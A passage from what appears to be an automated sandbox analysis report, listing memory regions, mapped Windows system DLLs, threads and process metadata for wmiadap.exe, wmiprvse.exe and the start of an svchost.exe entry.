0x7ff5ff66ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff670000" filename = "" Region: id = 16024 start_va = 0x7ff6148f0000 end_va = 0x7ff614912fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6148f0000" filename = "" Region: id = 16025 start_va = 0x7ff61491d000 end_va = 0x7ff61491efff entry_point = 0x0 region_type = private name = "private_0x00007ff61491d000" filename = "" Region: id = 16026 start_va = 0x7ff61491f000 end_va = 0x7ff61491ffff entry_point = 0x0 region_type = private name = "private_0x00007ff61491f000" filename = "" Region: id = 16027 start_va = 0x7ff6158d0000 end_va = 0x7ff6158fefff entry_point = 0x7ff6158d0000 region_type = mapped_file name = "wmiadap.exe" filename = "\\Windows\\System32\\wbem\\WMIADAP.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiadap.exe") Region: id = 16028 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 16029 start_va = 0x8775640000 end_va = 0x877573ffff entry_point = 0x0 region_type = private name = "private_0x0000008775640000" filename = "" Region: id = 16030 start_va = 0x7ff9ebc60000 end_va = 0x7ff9ebe3cfff entry_point = 0x7ff9ebc60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 16031 start_va = 0x7ff9ee250000 end_va = 0x7ff9ee2fcfff entry_point = 0x7ff9ee250000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 16032 start_va = 0x8775510000 end_va = 0x877551ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008775510000" filename = "" Region: id = 16033 start_va = 0x8775520000 end_va = 0x8775526fff entry_point = 0x0 region_type = private name = "private_0x0000008775520000" filename = "" Region: id = 16034 start_va = 0x8775600000 end_va = 0x8775606fff entry_point = 0x0 region_type = private name = "private_0x0000008775600000" filename = "" Region: id = 16035 start_va = 0x8775740000 end_va = 0x87757fdfff entry_point = 0x8775740000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 16036 start_va = 0x8775800000 end_va = 0x877587ffff entry_point = 0x0 region_type = private name = "private_0x0000008775800000" filename = "" Region: id = 16037 start_va = 0x8775a20000 end_va = 0x8775a2ffff entry_point = 0x0 region_type = private name = "private_0x0000008775a20000" filename = "" Region: id = 16038 start_va = 0x7ff6147f0000 end_va = 0x7ff6148effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6147f0000" filename = "" Region: id = 16039 start_va = 0x7ff61491b000 end_va = 0x7ff61491cfff entry_point = 0x0 region_type = private name = "private_0x00007ff61491b000" filename = "" Region: id = 16040 start_va = 0x7ff9e1ff0000 end_va = 0x7ff9e206efff entry_point = 0x7ff9e1ff0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 16041 start_va = 0x7ff9e80c0000 end_va = 0x7ff9e80e4fff entry_point = 0x7ff9e80c0000 region_type = mapped_file name = "loadperf.dll" filename = "\\Windows\\System32\\loadperf.dll" (normalized: "c:\\windows\\system32\\loadperf.dll") Region: id = 16042 start_va = 0x7ff9eafc0000 end_va = 0x7ff9eafe7fff entry_point = 0x7ff9eafc0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 16043 start_va = 0x7ff9ebe40000 end_va = 0x7ff9ebedcfff entry_point = 0x7ff9ebe40000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 16044 start_va = 0x7ff9ec1f0000 end_va = 0x7ff9ec46bfff entry_point = 0x7ff9ec1f0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 16045 start_va = 0x7ff9ecb00000 end_va = 0x7ff9ecb68fff entry_point = 0x7ff9ecb00000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 16046 start_va = 0x7ff9ee0a0000 end_va = 0x7ff9ee1c5fff entry_point = 0x7ff9ee0a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 16047 start_va = 0x7ff9ee1f0000 end_va = 0x7ff9ee24afff entry_point = 0x7ff9ee1f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 16048 start_va = 0x7ff9ee6c0000 end_va = 0x7ff9ee6c7fff entry_point = 0x7ff9ee6c0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 16049 start_va = 0x8775610000 end_va = 0x8775610fff entry_point = 0x0 region_type = private name = "private_0x0000008775610000" filename = "" Region: id = 16050 start_va = 0x8775620000 end_va = 0x8775620fff entry_point = 0x0 region_type = private name = "private_0x0000008775620000" filename = "" Region: id = 16051 start_va = 0x8775630000 end_va = 0x8775630fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008775630000" filename = "" Region: id = 16052 start_va = 0x8775880000 end_va = 0x87758fffff entry_point = 0x0 region_type = private name = "private_0x0000008775880000" filename = "" Region: id = 16053 start_va = 0x8775900000 end_va = 0x87759bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008775900000" filename = "" Region: id = 16054 start_va = 0x8775a30000 end_va = 0x8775bb7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008775a30000" filename = "" Region: id = 16055 start_va = 0x8775bc0000 end_va = 0x8775d40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008775bc0000" filename = "" Region: id = 16056 start_va = 0x7ff614919000 end_va = 0x7ff61491afff entry_point = 0x0 region_type = private name = "private_0x00007ff614919000" filename = "" Region: id = 16057 start_va = 0x7ff9eaff0000 end_va = 0x7ff9eb05afff entry_point = 0x7ff9eaff0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 16058 start_va = 0x7ff9eb210000 end_va = 0x7ff9eb21efff entry_point = 0x7ff9eb210000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 16059 start_va = 0x7ff9ebee0000 end_va = 0x7ff9ec02dfff entry_point = 0x7ff9ebee0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 16060 start_va = 0x7ff9ec520000 end_va = 0x7ff9ec5c4fff entry_point = 0x7ff9ec520000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 16061 start_va = 0x7ff9ee4d0000 end_va = 0x7ff9ee654fff entry_point = 0x7ff9ee4d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 16062 start_va = 0x87759c0000 end_va = 0x87759c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000087759c0000" filename = "" Region: id = 16063 start_va = 0x7ff9e4b30000 end_va = 0x7ff9e4b40fff entry_point = 0x7ff9e4b30000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 16064 start_va = 0x7ff9eaa70000 end_va = 0x7ff9eaa86fff entry_point = 0x7ff9eaa70000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 16065 start_va = 0x7ff9eca30000 end_va = 0x7ff9ecaedfff entry_point = 0x7ff9eca30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 16066 start_va = 0x7ff9ea6c0000 end_va = 0x7ff9ea6f2fff entry_point = 0x7ff9ea6c0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 16067 start_va = 0x8775d50000 end_va = 0x8776086fff entry_point = 0x8775d50000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 16068 start_va = 0x8776090000 end_va = 0x877610ffff entry_point = 0x0 region_type = private name = "private_0x0000008776090000" filename = "" Region: id = 16069 start_va = 0x8776110000 end_va = 0x877618ffff entry_point = 0x0 region_type = private name = "private_0x0000008776110000" filename = "" Region: id = 16070 start_va = 0x8776190000 end_va = 0x877620ffff entry_point = 0x0 region_type = private name = "private_0x0000008776190000" filename = "" Region: id = 16071 start_va = 0x7ff614913000 end_va = 0x7ff614914fff entry_point = 0x0 region_type = private name = "private_0x00007ff614913000" filename = "" Region: id = 16072 start_va = 0x7ff614915000 end_va = 0x7ff614916fff entry_point = 0x0 region_type = private name = "private_0x00007ff614915000" filename = "" Region: id = 16073 start_va = 0x7ff614917000 end_va = 0x7ff614918fff entry_point = 0x0 region_type = private name = "private_0x00007ff614917000" filename = "" Region: id = 16074 start_va = 0x7ff9e0490000 end_va = 0x7ff9e04a3fff entry_point = 0x7ff9e0490000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 16075 start_va = 0x7ff9e04b0000 end_va = 0x7ff9e05a7fff entry_point = 0x7ff9e04b0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 16076 start_va = 0x7ff9eabe0000 end_va = 0x7ff9eabeafff entry_point = 0x7ff9eabe0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 16077 start_va = 0x7ff9ecaf0000 end_va = 0x7ff9ecaf7fff entry_point = 0x7ff9ecaf0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 16390 start_va = 0x7ff9ea4e0000 end_va = 0x7ff9ea511fff entry_point = 0x7ff9ea4e0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 16391 start_va = 0x7ff9ec470000 end_va = 0x7ff9ec515fff entry_point = 0x7ff9ec470000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Thread: id = 328 os_tid = 0x578 Thread: id = 329 os_tid = 0x38c Thread: id = 330 os_tid = 0x340 Thread: id = 331 os_tid = 0x808 Thread: id = 332 os_tid = 0x314 Thread: id = 333 os_tid = 0x304 Thread: id = 377 os_tid = 0x50c Thread: id = 384 os_tid = 0x15c Process: id = "25" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x31dd9000" os_pid = "0x744" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x324" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b84b" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 16078 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 16079 start_va = 0x91bf3f0000 end_va = 0x91bf40ffff entry_point = 0x0 region_type = private name = "private_0x00000091bf3f0000" filename = "" Region: id = 16080 start_va = 0x91bf410000 end_va = 0x91bf423fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000091bf410000" filename = "" Region: id = 16081 start_va = 0x91bf430000 end_va = 0x91bf4affff entry_point = 0x0 region_type = private name = "private_0x00000091bf430000" filename = "" Region: id = 16082 start_va = 0x91bf4b0000 end_va = 0x91bf4b3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000091bf4b0000" filename = "" Region: id = 16083 start_va = 0x91bf4c0000 end_va = 0x91bf4c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000091bf4c0000" filename = "" Region: id = 16084 start_va = 0x91bf4d0000 end_va = 0x91bf4d1fff entry_point = 0x0 region_type = private name = "private_0x00000091bf4d0000" filename = "" Region: id = 16085 start_va = 0x7df5ff760000 end_va = 0x7ff5ff75ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff760000" filename = "" Region: id = 16086 start_va = 0x7ff7175c0000 end_va = 0x7ff7175e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7175c0000" filename = "" Region: id = 16087 start_va = 0x7ff7175eb000 end_va = 0x7ff7175ebfff entry_point = 0x0 region_type = private name = "private_0x00007ff7175eb000" filename = "" Region: id = 16088 start_va = 0x7ff7175ee000 end_va = 0x7ff7175effff entry_point = 0x0 region_type = private name = "private_0x00007ff7175ee000" filename = "" Region: id = 16089 start_va = 0x7ff717b10000 end_va = 0x7ff717b8efff entry_point = 0x7ff717b10000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 16090 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 16091 start_va = 0x91bf500000 end_va = 0x91bf5fffff entry_point = 0x0 region_type = private name = "private_0x00000091bf500000" filename = "" Region: id = 16092 start_va = 0x7ff9ebc60000 end_va = 0x7ff9ebe3cfff entry_point = 0x7ff9ebc60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 16093 start_va = 0x7ff9ee250000 end_va = 0x7ff9ee2fcfff entry_point = 0x7ff9ee250000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 16094 start_va = 0x91bf3f0000 end_va = 0x91bf3fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000091bf3f0000" filename = "" Region: id = 16095 start_va = 0x91bf400000 end_va = 0x91bf406fff entry_point = 0x0 region_type = private name = "private_0x00000091bf400000" filename = "" Region: id = 16096 start_va = 0x91bf4e0000 end_va = 0x91bf4e6fff entry_point = 0x0 region_type = private name = "private_0x00000091bf4e0000" filename = "" Region: id = 16097 start_va = 0x91bf4f0000 end_va = 0x91bf4f0fff entry_point = 0x0 region_type = private name = "private_0x00000091bf4f0000" filename = "" Region: id = 16098 start_va = 0x91bf600000 end_va = 0x91bf6bdfff entry_point = 0x91bf600000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 16099 start_va = 0x91bf6c0000 end_va = 0x91bf73ffff entry_point = 0x0 region_type = private name = "private_0x00000091bf6c0000" filename = "" Region: id = 16100 start_va = 0x91bf740000 end_va = 0x91bf8c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000091bf740000" filename = "" Region: id = 16101 start_va = 0x91bf8d0000 end_va = 0x91bf8d0fff entry_point = 0x0 region_type = private name = "private_0x00000091bf8d0000" filename = "" Region: id = 16102 start_va = 0x91bf8e0000 end_va = 0x91bf8effff entry_point = 0x0 region_type = private name = "private_0x00000091bf8e0000" filename = "" Region: id = 16103 start_va = 0x91bf8f0000 end_va = 0x91bfc26fff entry_point = 0x91bf8f0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 16104 start_va = 0x91bfc30000 end_va = 0x91bfdb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000091bfc30000" filename = "" Region: id = 16105 start_va = 0x91bfdc0000 end_va = 0x91bfe7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000091bfdc0000" filename = "" Region: id = 16106 start_va = 0x91bfe80000 end_va = 0x91bfe84fff entry_point = 0x91bfe80000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 16107 start_va = 0x91bfe90000 end_va = 0x91bfe90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000091bfe90000" filename = "" Region: id = 16108 start_va = 0x91bfea0000 end_va = 0x91bff1ffff entry_point = 0x0 region_type = private name = "private_0x00000091bfea0000" filename = "" Region: id = 16109 start_va = 0x91bff20000 end_va = 0x91c001ffff entry_point = 0x0 region_type = private name = "private_0x00000091bff20000" filename = "" Region: id = 16110 start_va = 0x91c0020000 end_va = 0x91c0020fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000091c0020000" filename = "" Region: id = 16111 start_va = 0x91c0030000 end_va = 0x91c0030fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000091c0030000" filename = "" Region: id = 16112 start_va = 0x91c0040000 end_va = 0x91c00bffff entry_point = 0x0 region_type = private name = "private_0x00000091c0040000" filename = "" Region: id = 16113 start_va = 0x7ff7174c0000 end_va = 0x7ff7175bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7174c0000" filename = "" Region: id = 16114 start_va = 0x7ff7175e7000 end_va = 0x7ff7175e8fff entry_point = 0x0 region_type = private name = "private_0x00007ff7175e7000" filename = "" Region: id = 16115 start_va = 0x7ff7175e9000 end_va = 0x7ff7175eafff entry_point = 0x0 region_type = private name = "private_0x00007ff7175e9000" filename = "" Region: id = 16116 start_va = 0x7ff7175ec000 end_va = 0x7ff7175edfff entry_point = 0x0 region_type = private name = "private_0x00007ff7175ec000" filename = "" Region: id = 16117 start_va = 0x7ff9e04b0000 end_va = 0x7ff9e05a7fff entry_point = 0x7ff9e04b0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 16118 start_va = 0x7ff9e0a50000 end_va = 0x7ff9e0a65fff entry_point = 0x7ff9e0a50000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 16119 start_va = 0x7ff9e1ff0000 end_va = 0x7ff9e206efff entry_point = 0x7ff9e1ff0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 16120 start_va = 0x7ff9e4b30000 end_va = 0x7ff9e4b40fff entry_point = 0x7ff9e4b30000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 16121 start_va = 0x7ff9ea6c0000 end_va = 0x7ff9ea6f2fff entry_point = 0x7ff9ea6c0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 16122 start_va = 0x7ff9eaa70000 end_va = 0x7ff9eaa86fff entry_point = 0x7ff9eaa70000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 16123 start_va = 0x7ff9eabe0000 end_va = 0x7ff9eabeafff entry_point = 0x7ff9eabe0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 16124 start_va = 0x7ff9eafc0000 end_va = 0x7ff9eafe7fff entry_point = 0x7ff9eafc0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 16125 start_va = 0x7ff9eaff0000 end_va = 0x7ff9eb05afff entry_point = 0x7ff9eaff0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 16126 start_va = 0x7ff9eb210000 end_va = 0x7ff9eb21efff entry_point = 0x7ff9eb210000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 16127 start_va = 0x7ff9ebe40000 end_va = 0x7ff9ebedcfff entry_point = 0x7ff9ebe40000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 16128 start_va = 0x7ff9ebee0000 end_va = 0x7ff9ec02dfff entry_point = 0x7ff9ebee0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 16129 start_va = 0x7ff9ec1f0000 end_va = 0x7ff9ec46bfff entry_point = 0x7ff9ec1f0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 16130 start_va = 0x7ff9ec470000 end_va = 0x7ff9ec515fff entry_point = 0x7ff9ec470000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 16131 start_va = 0x7ff9ec520000 end_va = 0x7ff9ec5c4fff entry_point = 0x7ff9ec520000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 16132 start_va = 0x7ff9eca30000 end_va = 0x7ff9ecaedfff entry_point = 0x7ff9eca30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 16133 start_va = 0x7ff9ecb00000 end_va = 0x7ff9ecb68fff entry_point = 0x7ff9ecb00000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 16134 start_va = 0x7ff9ee0a0000 end_va = 0x7ff9ee1c5fff entry_point = 0x7ff9ee0a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 16135 start_va = 0x7ff9ee1f0000 end_va = 0x7ff9ee24afff entry_point = 0x7ff9ee1f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 16136 start_va = 0x7ff9ee4d0000 end_va = 0x7ff9ee654fff entry_point = 0x7ff9ee4d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 16137 start_va = 0x7ff9ee6c0000 end_va = 0x7ff9ee6c7fff entry_point = 0x7ff9ee6c0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 16138 start_va = 0x91c00c0000 end_va = 0x91c013ffff entry_point = 0x0 region_type = private name = "private_0x00000091c00c0000" filename = "" Region: id = 16139 start_va = 0x91c0140000 end_va = 0x91c01bffff entry_point = 0x0 region_type = private name = "private_0x00000091c0140000" filename = "" Region: id = 16140 start_va = 0x91c01c0000 end_va = 0x91c023ffff entry_point = 0x0 region_type = private name = "private_0x00000091c01c0000" filename = "" Region: id = 16141 start_va = 0x91c0240000 end_va = 0x91c02bffff entry_point = 0x0 region_type = private name = "private_0x00000091c0240000" filename = "" Region: id = 16142 start_va = 0x91c02c0000 end_va = 0x91c033ffff entry_point = 0x0 region_type = private name = "private_0x00000091c02c0000" filename = "" Region: id = 16143 start_va = 0x7ff7174ba000 end_va = 0x7ff7174bbfff entry_point = 0x0 region_type = private name = "private_0x00007ff7174ba000" filename = "" Region: id = 16144 start_va = 0x7ff7174bc000 end_va = 0x7ff7174bdfff entry_point = 0x0 region_type = private name = "private_0x00007ff7174bc000" filename = "" Region: id = 16145 start_va = 0x7ff7174be000 end_va = 0x7ff7174bffff entry_point = 0x0 region_type = private name = "private_0x00007ff7174be000" filename = "" Region: id = 16146 start_va = 0x7ff7175e3000 end_va = 0x7ff7175e4fff entry_point = 0x0 region_type = private name = "private_0x00007ff7175e3000" filename = "" Region: id = 16147 start_va = 0x7ff7175e5000 end_va = 0x7ff7175e6fff entry_point = 0x0 region_type = private name = "private_0x00007ff7175e5000" filename = "" Region: id = 16148 start_va = 0x7ff9e0460000 end_va = 0x7ff9e0484fff entry_point = 0x7ff9e0460000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 16149 start_va = 0x7ff9e0490000 end_va = 0x7ff9e04a3fff entry_point = 0x7ff9e0490000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 16150 start_va = 0x7ff9e7220000 end_va = 0x7ff9e725cfff entry_point = 0x7ff9e7220000 region_type = mapped_file name = "wmiprov.dll" filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll") Region: id = 16151 start_va = 0x7ff9ea4e0000 end_va = 0x7ff9ea511fff entry_point = 0x7ff9ea4e0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Thread: id = 334 os_tid = 0x70c Thread: id = 335 os_tid = 0x6f0 Thread: id = 336 os_tid = 0x64c Thread: id = 337 os_tid = 0x6c8 Thread: id = 338 os_tid = 0x710 Thread: id = 339 os_tid = 0x6d4 Thread: id = 340 os_tid = 0x664 Thread: id = 341 os_tid = 0x274 Thread: id = 342 os_tid = 0x300 Process: id = "26" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x423dd000" os_pid = "0x348" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x324" cmd_line = 